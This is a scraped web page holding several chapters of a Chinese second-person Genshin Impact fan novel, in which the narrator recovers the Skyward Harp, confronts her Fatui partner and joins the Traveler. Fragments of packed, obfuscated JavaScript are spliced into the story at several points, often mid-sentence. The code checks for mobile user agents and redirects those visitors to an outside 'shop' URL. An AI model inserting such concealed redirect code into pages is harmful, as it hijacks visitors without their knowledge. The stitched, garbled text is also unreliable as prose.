l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138188|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们在这里再会。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你目送他离开了这里,似乎还在回味刚才的情景——哦,天哪,这是真的的吗?来到这里这么多年终于等到了吗? “嗯哼~南柯……”温迪这时候却缠上你,直接抱着你的肩膀,眼睛还亮亮的,“让我看看你画了什么,可以吗?” “嗯……”你还在回神,低低应了一声,已经把速写本交给了他,这才惊觉身上挂了个人,一时间没了其他动作。 温迪就这么挂在你身上翻看起来,一边看一边毫不吝啬的赞美:“哇——画得真好!” “没有没有,一般般的啦……”你下意识谦虚起来。 “啊?我看看我看看——”派蒙也飞到你另一边,眼里满是好奇,“哦!这是刚才的酒庄大老板迪卢克吧!画得好漂亮——” “迪卢克老爷的表情很传神呐……诶?这个是我,是那天广场上的时候呢!” “这不是我还有旅行者吗?!” “南柯的画总是能抓住最特别的瞬间呢~” 他们慢慢浏览过速写本,赞美之言也如同风花节的蒲公英那样簇拥着你,有些飘飘然了…… 不知何时温迪已经恢复正常的坐姿了,拉着你提议下次多画他演奏时的模样。而速写本也已经传到空手上,派蒙还在为他讲解其中她认识的人,空翻看几页,却在某页角落发现一朵熟悉的小花。 这是……空急促吸了一口气,神情复杂地翻到上一页,又翻回来,手指轻轻抚上纸张——他不会认错的,即使是黑白两色,但形态与花瓣的瓣数是不会错的,但…… 他默默又一次看起了之前的画,试图寻找一些蛛丝马迹,里面一半是蒙德的风景,一半是蒙德里认识的朋友,剩下的都是随手涂鸦,并没有他预想的那个身影,估计真的是随手一画…… 但这,有这么恰巧吗? “诶?旅行者?怎么了吗?”派蒙看看画,又仔细打量他的表情。 “不……没事,被她的画技震撼到了而已。”他合上速写本,默默放回你身旁的桌面上,自己坐到不远处,视线却不由自主飘过去。 “啊?真的吗?”派蒙绕着他转了一圈,似乎发现了什么,不怀好意笑了起来,“嗯~你一直在盯着她看呢~” “没……”他急忙挪开视线,又多看了几眼,终于找到借口,“只是有些好奇她头上的羽毛。” “羽毛?”她托着下巴将信将疑,顺着视线看过去,还真看到了,那两撮黑色的羽毛,末端还有些泛白,之前怎么就忽略了呢? 33.第28章 急,搭档跑对面了怎么办? “噫……别,别杀我……” 面前的愚人众成员缩在边上瑟瑟发抖,你只能板着脸说着:“只要把天空之琴的位置说出来就饶你不死……” 为什么感觉这台词从自己嘴里说出来这么中二? 你是被迫来到这个遗迹的,因为某个红色的家伙直接把你划入行动范围里了。离开前温迪还笑眯眯对你挥手道别,琴也没什么意见,毕竟为了顺利从愚人众手里夺回天空之琴,多一个人也好。 好好好,那你就辅助吧,反正有你没你结果都是一样,除非自己作死非要冲上去战斗,或者探索未知的空间。 有人受伤了,好,你来治疗。 有哪里过不去,好,你来开路。 有人拒交钥匙道具,好,你来…… 对方被迪卢克一拳揍趴下了—— 其实跟过来也不错?嘿,没想到自己还挺有用的啊。 “哇……”派蒙给你们拍拍手鼓掌,飞到你身旁盯着你手里的卷轴,“这就是你的,额,像丽莎小姐的魔导书一样的道具吗?” “差不多,小派蒙,它叫妙妙小工具。” “妙妙小工具?”派蒙疑惑歪头。 空在一旁收起钥匙,看了你一眼,若有所思,随后走过来对你伸出手:“辛苦你了,南柯小姐,接下来可能要深入他们的营地,估计会有很厉害的看守,到时候也仰仗你了。” “没什么的啦,主要还是靠你们,我就是在旁边辅助的……”你被老婆夸得不好意思起来,挠了挠脸颊。 “……有时候,辅助也是一个团队里不可或缺的力量,走吧?”他再次伸了伸手,示意你抓住。 你盯着他的被手套包裹起来的手掌,微微睁大了眼,伸手、搭上——这是主动邀请你吗? 少年微微眯眼,注视着你的手,一点一点把你的手包裹起来握住,转身带领你往前走。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 探险,哦不,是这次的夺回天空之琴特别行动非常顺利,你们很快来到目的地,与在此地驻守的火之债务处理人交战……大佬的战斗你就不要掺和为妙,专业的事交给专业的人来做,你认真辅助就好,绘制水中幻愿什么的…… 一黄一红的影子与之缠斗,对方似乎也发觉你那些不痛不痒的元素造物特别碍事,干脆迷惑他们之后迅速闪身冲了过来——那把祭刀伴随着诡异的黑气朝你的心口袭来—— 糟糕…… “当——!” 刺耳的金属摩擦声几乎要把鼓膜划破,电光火石之间,你看到面前敌人的祭刀突然被什么击中似的,整个人连着武器一同被巨大的惯性击飞,你后知后觉退了一步,心脏在剧烈地鼓动——差一点就死了…… 而远在那头的俩人似乎也察觉到什么,瞥了一眼被砸进墙里的债务处理人,迅速锁定攻击方位,空一个箭步挡在你身前。 “还有谁?”迪卢克不大的声音回荡在这片区域内,无形的冷意蔓延开来,握着大剑的手指微微用力。 恍惚间,你看到远处落下来一个无比熟悉的身影,墨色风衣红色内衬,白色头发,右侧的红挑染,还有……红色灯带条的黑色面具。 “「格拉兹」……?”债务处理人爬了出来,还有些身形不稳,语气有些难以置信,最后似乎抱怨了什么但听不清。 阿纳托利持着他的枪往前两步,没有说话。 “是你……”迪卢克不断扫视对方,冷声道,“事到如今,终于要露出真实面目了吗?” “等一下等一下!”缩在你后面的派蒙探出脑袋,有些不确定说着,“他刚才确实救了南柯,或许先好好说话……?” “我来……”阿纳托利利落地拉动枪栓上膛,无视派蒙的话往前走了一步,“奉命回收天空之琴。” “噫——他到底想干嘛!”派蒙嗖地一下藏得更深了。 你眉头一皱,事情铁定不简单了——糟糕,搭档怎么跑对面去了! “等等,你……”你试图发话。 青年抢前一步攻了上来,迪卢克也提剑迎战,空有些紧张地盯着面前的战况,悄悄回头看了你们一眼。 你被空第一时间带去旁边,派蒙也紧随其后。 “你们要保护好自己,注意周围……”他把你们安置在掩体后,轻拍你的肩膀,扔下这句话就抽身离开,迅速投身加入不远处的战斗里。 火焰与风裹挟在一起,一同击向阿纳托利,而他则持着短刀和枪械打得有来有回的,速度快到看不清。 事到如今只能先把他给打趴下吗? 派蒙有些着急,在你周围飞了几圈,来到你面前猛晃你的头:“醒醒——” “啊、哦,好。”你被晃得头晕眼花的,稳住她的身体说道,“是我的疏忽,没有把他考虑进来……” 虽说之前就有怀疑他是直接听命某位执行官的,难道是「女士」?没理由吧,她在意你做什么? “什么叫没考虑他……?”派蒙悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145689|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停在你身侧,看看你,又忍不住看向那边的情况。 “抱歉,怎么说呢,有点复杂,给我点时间……”你展开卷轴试图画些什么,笔却迟迟没有落下——到底怎么回事?你想要质问他! “怎么回事,说清楚点啊——”派蒙不满地虚空跺脚。 那边的债务处理人似乎有些颓废蹲在原地,而那三个人……恐怕再闹下去就要把遗迹给拆了,用卷轴标记阿纳托利之后,你绘制水形丝线释放出去—— 凭空出现的丝线从阿纳托利底下窜起,逼得他连连后退,他看了眼你所在的位置,颇为无奈压下嘴角,试图挥刀斩断已经攀上手臂的丝线。 而空与迪卢克一左一右欺身而上,挑飞他的武器,水形丝线趁机彻底束缚他的动作再往下一拉,跪倒在地。 “你*提瓦特粗口*,给我老实交代,你到底在执行谁的任务!”你快速上前,一拳落在他头顶,象征性钻了几下,“阿纳托利。” 他被挨了一下都不吭声,稳住身形后抬起头看向你,似乎因为战斗过,他整洁的面庞沾染了些灰尘,以及细微的划伤,灯带条此刻有些暗淡。 “啊,啊……?”派蒙都看出什么来了,飘过来看了一圈人,视线落在你身上,“你们……认识?” “说来话长,总之他是我朋友。”你无奈叹口气,揉了一下眉间,再次重复,“所以你在执行谁的任务?” “……”他似乎并不在意自己的处境,红光暗了暗,微微勾起嘴角,“无可奉告。” “无论你是否听从谁——但下次你还挡在我们面前,我不会手软的……”迪卢克站在旁边继续散发冷气。 突然“哐当”一声,出口的铁门被轰然关上,外面的债务处理人逃跑之前还放下狠话,说什么女士大人不会放过你们……之类。 “啊——铁栅栏开了!”派蒙注意到存到琴的那个位置的铁栅栏打开了,飞快窜过去抱起天空之琴,对你们招手,“这里这里,看——” 空收起了武器,瞥了眼迪卢克,又看了你一眼,最终将疑问数尽吞入腹中,沉默地走向派蒙。 迪卢克轻拍你的肩膀,示意你跟上,你于心不忍看向阿纳托利,俯身对他低声道:“你自己要保重。” 阿纳托利因为你突然间的靠近,下意识屏息,隔着面具他长久凝视你,微调了姿势,突然嘎嘣一下自己倒地:“这次是你赢了……” ???这小子在干嘛? 你不懂,但大为震惊。 34.第29章 转瞬即逝 天空之琴顺利夺了回来,接下来就是……寻找散落的风龙泪滴用来修复琴弦。 至于阿纳托利……你相信他不会有事,暂时不管也是可以的。就是搞不明白那天他为什么会执行那个任务,也不清楚为何突然对你说那句话。 任务失败会受罚的吧,希望人没事。 而寻找泪滴依旧是你们,还有琴,至于温迪……他为你们弹了首送行诗歌加油助威,留在晨曦酒庄了。 起初你们四人一精灵是一起行动的,刚开始还一起行动来着,不知不觉你身边就只剩派蒙和空了。 你们穿梭在树林里寻找剩下的泪滴,最终在丘丘人营地又找到一颗,在返程中,空与你并肩而行,偶尔,你能察觉到他时不时瞟过来的视线,无法忽视——难道是因为察觉到丹特利安的存在了吗?! 「我想他只能感觉到能量,而不是我的存在……」祂慢悠悠给你解释。 那也不行,你还没跟他开口说要一起旅行呢,好感度下降了怎么办? “……南柯,我有些问题要问你,如果你觉得冒犯,可以不用回答。”最终,少年还是绕到你面前,小心翼翼开口了。 “你…你说。”听到他的话,你被他略微正经的态度搞得有些紧张起来,一旁的派蒙也凑过来好奇。 “就……”他顿了一下,金色的眼眸时不时看向你,“那天,那个被你称为阿纳托利的愚人众,又是抢天空之琴,又是救你……他究竟和你是什么关系?” 嗐,原来是这个,这很好解释——你对那家伙的态度既是信任又是警惕,信任是因为他确实处处照顾你,救了你的狗命,尽管不知是否有演戏的成分,但……演几年,可能吗?是不是得给他颁个奥斯卡影帝奖? 警惕是自然的,因为你是二席的实验体,醒来他就成了你的搭档,这也太可疑了,而且他一直隐瞒自己的上司。 你叨叨絮絮将来到这里的经历全部讲给他们,穿越者、实验体、魔神残渣、丹特利安的存在……将能说的都说了。 派蒙的眼睛都瞪大了,慢慢降落到你旁边,安抚性摸摸你的头:“乖乖~起码你现在自由啦,你甚至……额,甚至可以去吃遍全提瓦特的美食!” “这……”空也一时难以消化这些信息,伸了伸手,最终还是抓了抓自己的后脑勺。 你们此刻坐在某棵树下休息,惬意的云彩流过穹顶,伴随微风与花香,此刻反而是最放松的时候——将这些秘密全部述说之后,似乎也没什么好纠结的了。 “原来如此,不属于提瓦特的人……”空双手撑在后面,仰着身子凝望云端的飞鸟,“你的那个……朋友,确实很矛盾。” 这样一来,似乎很多事都说得通了,初见时感受到的一股能量、那个愚人众的矛盾行为……但还是有些疑惑,可还没到时机,再等等。 “不过…”他转过头看着你,“你体内的那个意识……祂……” “哦,目前有阿贝多老师的抑制剂暂时稳定,没事。”你连忙摆摆手,指了指自己的脑袋,“不过我跟祂约好了,不到危及性命的时候,祂不会出手。” “听你说的,祂还挺好说话?”派蒙绕着你上看下看,端详着你头顶的翎羽,“说起来,这位……呃,魔神,祂叫什么名字啊?” “名字……”你无声询问了祂的意见,祂沉默了许久,最终在你的意识海里轻轻点头,“可以叫祂,丹特利安。” 休息得差不多,你们也该继续行动了,你看着他站起身时晃动的麻花辫和披风,还有若隐若现的腰腹……咳咳,不对,正事要紧。 “旅行者……”你叫了他的称号,伸手抓到了他的披风,按耐剧烈跳动的心脏,深吸一口气,“我想和你们一起旅行。” “诶?你要和我们一起旅行??”本来派蒙已经飞出去很远了,听到这话她又极速折返回来,看着你们俩,期待又紧张。 空侧过身垂下眼帘,沉默片刻,一直没有别的动作,你的心瞬间被抬高到极点——难道他嫌你麻烦了? 他微不可察勾起嘴角,缓缓向你伸出右手,目光也柔和起来:“好啊,那么,接下来的旅途请多指教了……” 他跟你说什么? 他答应你了? 你感觉热泪盈眶的,一个激动,握住他的手脱口而出:“空宝——” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 晨曦酒庄 “……对不起,还未履行的约定就要,食言了……” “喂,振作点!” “呜哇——南柯你不要死——” “……琴团长……不用管我,你们继续……” “南柯小姐……你…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168098|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “迪卢克……请,请把摩拉烧给我吧……” “……” …… …… “抑制剂应该在她身上,找找看。”迪卢克蹙着眉头看着躺在地上无比安详的人,只见旅行者和派蒙围在黑发少女旁边痛哭。 琴和派蒙很快找到了那一管药剂,掰着她的脸颊喂了进去。 “怎么了怎么了怎么了?是我错过什么了吗?”温迪凑了过来,看着她紧闭的双眼,有些愣神,蹲下来伸手探了探鼻息,又轻拍她的脸颊呼唤名字。 “她……”空的目光有些躲闪,颇为自责垂着脑袋,“我就不应该满足她的好奇,把风龙泪滴拿出来……” “呜哇……我也不知道怎么回事,她,她就碰了一下风龙泪滴,就……就倒下去了!”派蒙想扑在她怀里,又怕压到,在原地扑腾幻肢。 “然后原本污浊的泪滴似乎,净化了……”迪卢克替这俩作出结论。 温迪轻轻伸手触碰少女的额头,打量了一圈后,褪去她的手套——此刻白皙的手掌布满了裂缝般深紫色的痕迹,触目惊心。 “难道是魔神残渣?”琴将空药瓶妥善收好,其实很久之前,她就收到阿贝多的报告,此后便稍微注意了一下这位少女。 “以前没有过这样的症状,这还是在触碰污浊的风龙泪滴之后。”迪卢克托着下巴,沉默了一会儿呼唤女仆长,先安置好,同时请阿贝多麻烦过来一趟。 在等待阿贝多的时候,他们发现那手上的痕迹在慢慢消退,直到炼金术士赶来时,已经褪到指节的范围了。 …… “我也是头一次见到这样……不过请放心,目前她没有生命危险,只是睡着了。”阿贝多坐在床边,收回手,回头看向他们,“这么说吧,泪滴的本质是深渊污秽的浓缩,虽然很稀薄,但…她还是被侵蚀了,而里面的丹特利安正在与之对抗,只可惜,她的身体尚不能承受这种级别的刺激。” “深渊……”迪卢克倚在最远处的门框,盯着房间内若有所思。 “旅行者,听说你能净化泪滴,请你试试去净化她体内残留的深渊污秽。”阿贝多起身让出一定的空间,对他颔首示意。 “……我试试。”空过去蹲下来,极为缓慢轻柔的,像是对待什么易碎的珍品,握住了那只手…… 35.第30章 照旧 你有些茫然看着陌生又熟悉的天花板,侧头看着坐在一旁的阿贝多,不禁咽了一口唾沫,试探性询问:“你是说,我睡了好几天,然后错过了?” “你呀……这种时候还想着剧情?”阿贝多轻笑一声,伸手戳了一下你的额头,眼底全是温柔与无奈,“不过也有了新的发现……” 之后他们听闻你的苏醒,都过来了,一时间房间里有些逼仄,接受了如此多的关心,你有些招架不住,特别是派蒙叮嘱你不要乱碰奇怪的东西时,你只是嗯嗯啊啊说尽量。 “什么叫尽量!是一定一定不能碰!”派蒙气呼呼叉着腰。 “毕竟还要旅行,路上肯定会发生什么惊喜嘛……”你摸了一下脸颊,默默看向空。 “放心吧,我答应你的,你的安全我也有责任。” “还有我!派蒙也会保护你的哦!” 阿贝多将这次的发现讲述了出来,继续强调不能过度使用卷轴透支精神力、不能碰任何与深渊与魔神残渣相关的东西,还有就是,注意休息…… 怎么感觉这出事后,秘密都被人知道了? 而且……迪卢克您一直站在门口偷听真的好吗? 似乎注意到你疑惑的视线,他不自在地战术性咳嗽:“咳……恢复得不错,记住阿贝多先生说的话,如有需要,可以直接向这里的女仆说明。” 看着他转身就出去了,你收回视线,不经意对上空的视线,对方注意到后还回望你,四目相对,对你无意识笑了笑。 金色的旅行者在对你笑。 明明他从头到尾都没什么额外的表情,淡然的眉目忽然弯了一下,青色的耳坠也因为他侧头的动作晃荡着,这一抹弧度也很快化为平静…… 哦不,不愧是旅行者,这笑容杀伤力太大了!!直接血槽清空——你虚扶额头避开了视线。 派蒙不解,派蒙好奇,还凑过来问你为什么脸红红的,你只能谎称自己头晕。 派蒙一脸狐疑:“真的?如果还不舒服的话要注意休息哦。” 空也走过来,关切地问:“是不是哪里不舒服?要不要再躺一会儿?” 怎么全围上来了,刚才用的什么借口?! “咳……病人还需要静养,你们先回去吧。”最后还是可靠的阿贝多老师帮你解了围。 目送他们离开,房间里又只剩下你们俩了。 “感谢贝老师救了我的狗命……” “我只是做了该做的事而已……”他轻轻拍了拍你的肩膀,“好好休息吧,如果有什么不适,一定要及时告诉我。” 昏迷的这些天阿贝多陪着你待在酒庄里,期间旅行者和派蒙来了很多次,琴团长由于公务繁忙没法来,托人送了些礼物。就连阿纳托利也悄咪咪大半夜过来,差点碰上迪卢克…… 又观察一天后你就可以回去了,在跟阿贝多离开前,迪卢克佯装严肃将一份账单递给你:“住房费、医疗费、服务费、精神损失费……” 你往阿贝多身边靠了靠,贝老师救救你的学生啊—— “……用之后的委托抵。” 这是要给他白打工的节奏? 回到城内,到处都在传送荣誉骑士的英勇事迹,来自远方的异乡人和白色小精灵、随性的诗人、英勇的骑士、见义勇为的商人,他们解救了特瓦林,蒙德的龙灾告一段落。 阿贝多说等他整理好报告之后有空再找你,暂时与他道别后,你一个人漫步在街道,周围依旧是熟悉的景色,未曾改变。 离开喧闹的主街道,你转入回住处的巷道,拐了几个弯就发现不远处倚在墙边的骑兵队长。他正在把玩一枚摩拉,抛上抛下,最后稳稳接住,对你点头致意:“好久不见,小姐,没想到能在这里遇到你——听说你最近在和迪卢克他们一起行动,这一趟可真够久。” “是你,凯亚亚——”你有些惊讶,但依他的性子,怕不是刻意出现的。 他听到这称呼,神色微顿,无声咀嚼了这个昵称,随即又恢复以往漫不经心的笑容:“哦……几日不见倒是和派蒙一样喜欢给别人起绰号了~哎呀,要是被同僚听去,我这骑兵队长的威严可就……” “得了,上次你还说骑兵队长的头衔没什么了不起的……” “话是这么说……不过,怎么样,传闻中的东风之龙很美,是吧?” 你当即瘪嘴:“是很美,可惜没能近距离贴贴。” “果然你连龙都不放过吗?” “不要曲解我的意思,只是欣赏。” “我知道我知道,毕竟不会真的有人想做风神的狗。” “你特么……”你扬起拳头。 “诶诶,住手。”他象征性挡了一下,透过发丝,带着调侃笑意的灰蓝色眼眸看着你,“不过我又听说你净化了风龙泪滴?” “那是荣誉骑士的事。”看他笑得毫无认输之意,你也没继续动作,收回手理了理手套边缘。 “我当然知道。”他直起身顺了顺衣襟,“但除此之外,你也碰了,听琴团长说,当时你直接昏迷了,这段时间一直在静养。” “没办法,太好奇了,但你们每个人都说净化了泪滴……”你伸出一根手指微微左右摇摆,“我想可能误会了什么,这种特质我怎么可能会有。” “是吗?我还以为是异乡人都有的能力呢。” “照你这么说,凯亚队长也应该有什么隐藏实力。” “呵呵,或许吧……”摩拉在他指尖翻飞着,反射金色耀眼的微光,他微微侧头,眯了眯眼,“在蒙德如此自由的城邦,每个人多多少少都有不想轻易示人的底牌,不是吗。” “所以你眼罩下果然有秘密吧——异瞳什么的,灰蓝色也很好看,如果是另一种颜色也很不错呢。”稍微想象一下,异国的波斯猫,黑皮……整幅画面更加精致了,你在内心满意点点头。 “总感觉你又在想什么奇怪的东西……” 你表示只是灵感突然冒出来而已,又与他随意聊了一下,这才告别离开。 真正回到住处时才发现那一株蒲公英——很久之前无意中得到的,而且养这么久都没给你赏过脸开过一次,这次居然……不仅开花了,还是最后绒毛的阶段。 它……终于想开了? 隐隐约约,视野中似乎有一缕极为稀薄的风元素,似乎因为你的靠近,像是被戳破的泡泡,突然消散了…… 咦? 说起来,这个时间点,温迪会是在那里休息吧。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 思来想去,你最终还是来到了风起地的橡树底下,上是茂盛的树叶,下是盘踞在乱石堆的巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他停下了调试的动作,定定看着你,原本笑嘻嘻的神情逐渐化成如同碧绿的湖泊,平静的表面泛起涟漪。 明明你才是那个需要安慰的人呐…… 树叶跟随微风沙沙作响,发丝摆动,阳光透过树叶的缝隙洒下,落在温迪的身上,仿佛给他镀上了一层金边,他最终笑出声,缓缓伸手,摸了摸你的头。 “谢谢你,南柯。” 你随着他的动作脑袋一点一点的,似乎被什么轻柔且温暖的东西包围,暖烘烘的。 “听说你决定和那位荣誉骑士一起去旅行?” “嗯。” “我可以知道理由吗——不用担心,那怕一时兴起我也不会笑话你的。” “也不是一时兴起啦……就,因为想。” “是内心深处主观念头吗,唉,这样的话,我的听众又少了一位呢。” “只是去旅行而已,以后有机会还是会回来听你的诗歌的。” “嗯哼~说好的哦。”他慢慢收回手,似乎有风在拨弄彼此的发梢,遮住了眼底的微光,“那我就再次为临行的旅人送上风的祝福吧——用你的方式,去见证,去记录,未来旅途的风景吧。 “无论是路过的飞鸟,结交的友人,亦或是身旁的愚人,那些都是旅途的一部分——哦,对了,也还请不要忘了旅行最初的目的—— “嗯嗯,我想想,应该差不多了,欸嘿~” 36.第31章 信 众所周知,有事就委托旅行者,效率高、服务好、品质佳……绝对后顾无忧,上得了战场,下得了厨房,被评为十项全能的冒险家。 阿纳托利盯着墙边冒险家协会的广告,不禁皱了皱眉——你口中的主角,在大众眼里是这样? 虽说同样是做任务,但他是针对愚人众的事宜,在如今龙灾已经被解决,神之心也被「女士」收取之后,这里的任务已经没有那么敏感了。但身为愚人众的他,要真碰上旅行者,无论做什么事,恐怕都会被优先怀疑。 比如此刻—— 面前的金发旅行者毫不客气上下打量他,满是警惕:“等一下,你是……” “有事?”阿纳托利同样回敬审视的目光,周围没有其他人,看来只有旅行者一人在做委托。 空皱了皱眉头:“我记得你,天空之琴那次……” “能被荣誉骑士记住,还真是荣幸。”阿纳托利双手抱臂,面具上的红光压至最暗。 “只是恰好印象深刻而已。”空笑了笑,“实不相瞒,我在替人调查一些事,关于愚人众的。” “哦?说说看你查出了什么?”阿纳托利继续平静地注视对方。 “听说愚人众在蒙德城内部,有一个据点,专门用来中转一些灰色物品……” “你倒是挺会猜测——但是,愚人众和蒙德的事,与你何干?” 空沉默片刻,注意到对方的服饰其实并不是愚人众的,只是样式风格还有那个面具,总是会下意识去联想。 “这或许与我没关系,但我想知道——你们这次又打什么主意?” “你们这些异乡人……还真是喜欢管闲事。” “闲事?我可不这么认为。” 见探不出情报,阿纳托利也不想纠缠——毕竟被你期待的人,他不想与这个人为敌。 “随便你吧……”他转身快步离开。 “喂——” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 一步两步,又是熟悉的巷口,你站在原地张望四周,黄砖橙瓦,都是差不多的建筑风格,只是这边的人也太少了,而且路标也没一个。 “完了,不会误入后室了吧?”你翻看地图。 只是一个送信委托,为什么地址这么偏僻?! 不会又卷入什么奇怪的事情里了吧?要不用卷轴定位吧……可说好着要少用来着。 “你……怎么在这?” 熟悉的声音自身后响起,你转过身,见空迈着略微紧张的步伐走过来,他站在面前快速打量你一圈,闭眼松了口气。 “旅行者?”你看看他,身旁居然没有小派蒙跟随,“难道,你也误入了?” “什、什么?”他被你紧张兮兮的语气把心提了起来,按住你的手臂表示安抚。 “后室!”你急忙把地图给他,“我在送信,但找不到地了……” “后室……?”他接过你手里的东西看了几眼,又望向你,无奈长叹一声,“我帮你找吧。” 穿梭在错综复杂的小巷里,越过无数的楼梯与住宅,你们终于来到某处不起眼的破败小屋,看痕迹应该还有人住,而且收件人是一位年过半百的老人,对方似乎看不太清字,请你们转述一下,于是你一字一顿念了出来。 是一封家书,寄信人是老人的儿子,在至冬工作,讲述了那边的工作与生活,认识了不少人,报酬也很高……随信一起来的还有一些慰问品。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 结束这次委托后,他送你到岔路口就继续刚才的调查了——之前他试图跟踪那个白毛面具男,结果跟丢了,之后又遇到了你,直觉告诉他事情有蹊跷,他得回头再看看。 他在协助骑士团调查愚人众一个据点的位置,方便后续行动,循着线索来到这里就碰到那个人,而你送的家书……寄信人在至冬工作,稳定、高薪,他不免会想到那个组织。 那个人又急着脱身…… 刚回头,突然察觉到异样,连忙看过去——又是那个人,阿纳托利。 对方只是站在转角处,被发现了也没有说话,只是静静看着空。 “你为什么又出现在这里?” 阿纳托利沉默着取出一封信:“如你所见,送信,而且是送到刚才你们去的那个房子。” “所以……你的目的究竟是什么?” “只是送信,我们的目的地是一致的,但内容有些出入。”他皱了皱眉,“你们送的是家书,但我是通知家属……那个人在不久前殉职了。” “殉职……”空心里一沉,这算什么,刚才把家书送过去,下一秒就要收到噩耗? 他再次问出声:“你……刚才一直在跟踪我们?” 阿纳托利有否认,思忖着什么。 “那你准备怎么做?” 他看着手里的信件,灯带条又暗淡几分,昏黄中有些凉意的风,卷起的枯叶打着旋又扫过脚边,一路远去。如果现在告诉老人真相,恐怕会对他造成巨大的打击,但不告诉他,又违背了愚人众的职责。 “……这次的任务可以晚点交。”他把信塞回内侧口袋,顺势整理衣领。 “你的意思是……先不告诉那个老人?”空愣了一下,很快就反应过来,但还是有些担忧,“这样真的好吗?” 阿纳托利侧过身就要离开的脚步停滞了一下:“或许并不好,迟早会知道的。” 空莫名觉得面前的这个愚人众,似乎没印象中的那么糟糕了,见对方转身远去,他有件事必须要确认一下,急忙上前几步叫住对方:“等一下——” 大步离开的步伐还是停了下来,他侧过头看过去,微微闪烁的红光似乎在催促空有话快说。 “如果有一天,你必须在她的安全和你的职责之间选择的话,你会优先哪个?” 红光停顿了一下,又迅速恢复正常的亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178293|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度:“这个问题的答案对你很重要吗?” “很重要,她是我们的伙伴,是我答应一起旅行的人。”空走近了几步,目光如炬。 “……非要说的话,任务也好,职责也罢,她的安全我始终放在第一位——满意了?” “哪怕有可能站在对立面?” “这得取决于那具体是什么情况了,但我刚才说的,不会改变。” 空的神情稍微缓和了一点,先前因为紧张而攥紧的拳头稍稍放松:“这个回答……我明白了。” “知道就可以了。”阿纳托利压下帽檐别过头,迅速离开。 空望着空荡荡的巷子先是被刺眼的黄昏填满,很快,暮色紧随而来,将四周的影子吞没。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 夜幕降临,炊烟渐升,你拎着砍价获得的食材思考今天做什么菜…… 只是在抵达楼下的时候,你下意识往旁边瞄了一眼——一只黑猫。 心瞬间被捕获,你发出宛如石矶娘娘的动静,掏出随身携带的小鱼干就开始喂食、逗猫、顺毛。 心满意足后,这才发觉旁边站了个人——墨色的风衣完美隐藏在角落,面具上的灯带条也是最暗的亮度,他站在那里悄无声息的,差点吓得魂都没了…… “能不能……下次换个正常的方式出场?”你轻拍心口,长长舒了口气。 黑猫却迈着轻盈的步伐跃到他的脚边,轻车熟路将尾巴缠在他腿上,他顺势蹲下来摸了摸猫咪,瞧那只享受得咕噜咕噜的——黑猫属性也会吸引猫猫的吗? “抱歉……只是有些不忍心打扰你。” “好吧好吧,是有什么事吗——哦对了,差点忘了,那天……为什么你会出现在那里遗迹里?难道你是「女士」的人?”你站起身整理了一下衣摆,低头看着他。 “并不……”他低着头,手指轻轻挠着猫猫的下巴,“只是按照命令,协助「女士」大人在此地的行动而已。” “……那你之后还接了什么?” “没了,那次只是为了吸引风神出来,但并不奏效。” “哦哦……真的?” “真的。” 你眨了眨眼,摊手:“好吧,既然如此,我就先回去了……” “等等……”他拉住你的衣袖,站起来盯着你,犹豫了一会儿才缓缓开口,将今天的遭遇的事无巨细说了出来。 等等,信息过载了——虽然听着很有这么一回事,也很可惜,但换做是你,可能也会迟一点把那糟糕到殉职信送过去吧…… “所以……你一定要跟随那位旅行者吗?” “嗯,这点我是不会改变的——这可是我的决定。”你停顿了一下,“不过,你要是加入进来也是可以的,或者说……因为你的任务,无论怎样你都会跟来,对吧。” 他微微点头,抿了抿唇,最终放开你的袖子:“嗯……那,下次见。” 37.第32章 临行 旅行者很忙,有时候接到委托一连消失好几天,而你在收拾自己的住处准备旅行的东西,同时还在思考怎么把阿纳托利也要同行的事告诉他…… 